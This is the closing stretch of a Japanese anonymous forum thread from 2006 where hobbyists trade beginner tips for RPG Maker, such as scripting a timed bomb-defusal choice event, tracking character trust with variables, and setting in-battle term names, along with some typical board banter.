でもゲームデータは個人の鯖にFTP使ってUPできるから、まだ方法があるんじゃないかと。
ヒットポイントのRPGプレイヤーだっけ?それ経由でもフリークライアント版あればRPGメーカー製のゲームできるらしいし。
0957名前は開発中のものです。
2006/12/21(木) 02:01:16ID:z3TZuYDl0958名前は開発中のものです。
2006/12/21(木) 02:20:45ID:oPTgkK7Mゲーム作りなんて無理。
0959名前は開発中のものです。
2006/12/21(木) 02:28:16ID:ZXIeXHWR0960名前は開発中のものです。
2006/12/21(木) 03:43:36ID:s7V+FVlS0961名前は開発中のものです。
2006/12/21(木) 06:33:05ID:jzfpDJr8時限爆弾処理のイベントを作ってるんですけど、最後の所で?になってます。
3本あるコードの内のどれかを切るってモノで、時間制限つきです。
とりあえず選択肢使って選ぶ様にしたんだけど、時間制限の方が今一で
時間切れになった場合、直ぐに時間切れの処理に行かず、どれか選択した後で
ないと実行されなくて悩んでます。
ピクチャー使えばいいみたいなんですけど、やり方が今一判らなくて・・・
誰かアホでも一発で判る様に教えて貰えませんか?
0962名前は開発中のものです。
2006/12/21(木) 10:14:13ID:SUTW4GXbタイマー設置した後、
並列処理でキー入力取得、
↑↓キーにあわせて矢印ピクチャーが動くように(あと、どの選択肢を指してるかの判定も)、
決定キー押されたら、指してる選択肢それぞれのイベントに進むように、
タイマーが0になったら、時間切れイベントに。
大まかに書くとこんな感じか?試してないから変なとこあるかも。
タイマーでなく、ウェイト&変数でもいけるかな。
0963名前は開発中のものです。
2006/12/21(木) 23:50:45ID:L3ziQAa5返答はお早めに。ほっほっほ……。
0964名前は開発中のものです。
2006/12/22(金) 00:04:34ID:ECdm2nFd0965名前は開発中のものです。
2006/12/22(金) 00:30:05ID:Mlkq1HPy1+1=?
この「?」の部分が解ければ分かるはずだ! 頑張れ!
0966名前は開発中のものです。
2006/12/22(金) 01:21:32ID:PwJ7p7FB0967改心したゲマ
2006/12/22(金) 01:39:06ID:rCoMidfHどうしても必要なのです。どうかご教授くださいませ。
0968名前は開発中のものです。
2006/12/22(金) 01:43:54ID:tK93096U可能でしょうか?
0969名前は開発中のものです。
2006/12/22(金) 02:57:16ID:8zvTA/oD0970名前は開発中のものです。
2006/12/22(金) 04:05:39ID:axVlqBoG信頼度がどのようにつくのか、信頼度がどのように使われるものなのか、
そこんところをはっきりさせないと、そもそも作りようがない。
0971名前は開発中のものです。
2006/12/22(金) 11:32:29ID:t+ckrVnM単純にキャラ分だけ特殊技能を用意すれば?
>>968
変数でいいじゃん
0972タナ中 ◆8Tdr0tD9Mk
2006/12/22(金) 15:12:14ID:xKowRP4I0973名前は開発中のものです。
2006/12/22(金) 15:52:09ID:9cDDy6ik0974名前は開発中のものです。
2006/12/22(金) 16:21:42ID:tK93096U会話中の選択肢やプレゼント的なイベントで上下して、その信頼度によって、
仲間をパーティーに加えたり、異性キャラとのデートイベント(FFZのゴ
ールドソーサーみたいなやつ)の発生をしたいんです。
0975名前は開発中のものです。
2006/12/22(金) 16:47:45ID:xxlXpw4V0976タナ中
2006/12/22(金) 18:45:31ID:xKowRP4I0977名前は開発中のものです。
2006/12/22(金) 18:59:35ID:jD8vSFsB0978タナ中
2006/12/22(金) 19:46:11ID:xKowRP4I0979名前は開発中のものです。
2006/12/22(金) 19:49:46ID:axVlqBoG>971も975も言ってるが、変数でいいわな。
>>978
まさか、ダウンロードの仕方からわからないとか、そう言う質問?
まさかねーw
0980名前は開発中のものです。
2006/12/22(金) 19:50:55ID:zc1AjnZZ以上
遊んでねえでとっとと作ってうpしやがれ豚
0981タナ中
2006/12/22(金) 20:02:14ID:xKowRP4I0982名前は開発中のものです。
2006/12/22(金) 20:13:51ID:m2itk+fBそれが嫌ならお前のネズミさんとにらめっこでもしてな。
0983タナ中
2006/12/22(金) 20:44:01ID:xKowRP4I0984改心したゲマ
2006/12/22(金) 20:56:36ID:rCoMidfH963さん、残念ながら用語欄には一つ分の空きしかないのですよ。
以前、どこかで変数を用いた方法を見かけたのですが、忘れてしまったようです。
ほっほっほ。
0985名前は開発中のものです。
2006/12/22(金) 21:17:47ID:RwjhCZvbこれが冬厨というものか。
0986名前は開発中のものです。
2006/12/22(金) 21:31:55ID:t+ckrVnMだから変数使えばいいだろう
0987名前は開発中のものです。
2006/12/22(金) 21:34:14ID:t+ckrVnM用語名をキャラ毎に設定したいのかよ
戦闘中以外は無理じゃねーか?
0988名前は開発中のものです。
2006/12/22(金) 21:35:21ID:P+co8GtD1+1=?
この「?」の部分が解ければ、お前なら分かるはずだ! 頑張れ!
0989改心したゲマ
2006/12/22(金) 21:52:12ID:rCoMidfHそう、戦闘中だけでいいんだ
以前は確かに出来たんだが……、変数をキャラ名の後ろに設定していた気がする
ほっほっほ。
0990名前は開発中のものです。
2006/12/22(金) 21:54:54ID:t+ckrVnM意味がよくわからん
ttp://www.imgup.org/iup304194.pngみたいな設定じゃ駄目なのか?
0991改心したゲマ
2006/12/22(金) 21:59:32ID:rCoMidfH普通に設定できたのか。どうも壮絶な勘違いをしていた模様
愚かな質問につき合せてしまって申し訳ない
ほっほっほ。
0992タナ中
2006/12/22(金) 22:53:59ID:xKowRP4Iどっちがすぐれたゲーム造か勝負だ
0993フリーザ様
2006/12/23(土) 00:23:57ID:FKznq1m/0994名前は開発中のものです。
2006/12/23(土) 08:58:22ID:uLon6pP60995タナ中
2006/12/23(土) 09:39:22ID:a5z2ZlUZ0996名前は開発中のものです。
2006/12/23(土) 09:44:50ID:0OjVhQpX0997名前は開発中のものです。
2006/12/23(土) 09:52:46ID:upoG2RCa0998名前は開発中のものです。
2006/12/23(土) 11:22:40ID:dr+GjORM簡単な質問はこっちでした方がいいよ。
0999名前は開発中のものです。
2006/12/23(土) 12:36:09ID:a5z2ZlUZ1000タナ中 ◆8Tdr0tD9Mk
2006/12/23(土) 12:39:37ID:a5z2ZlUZ10011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。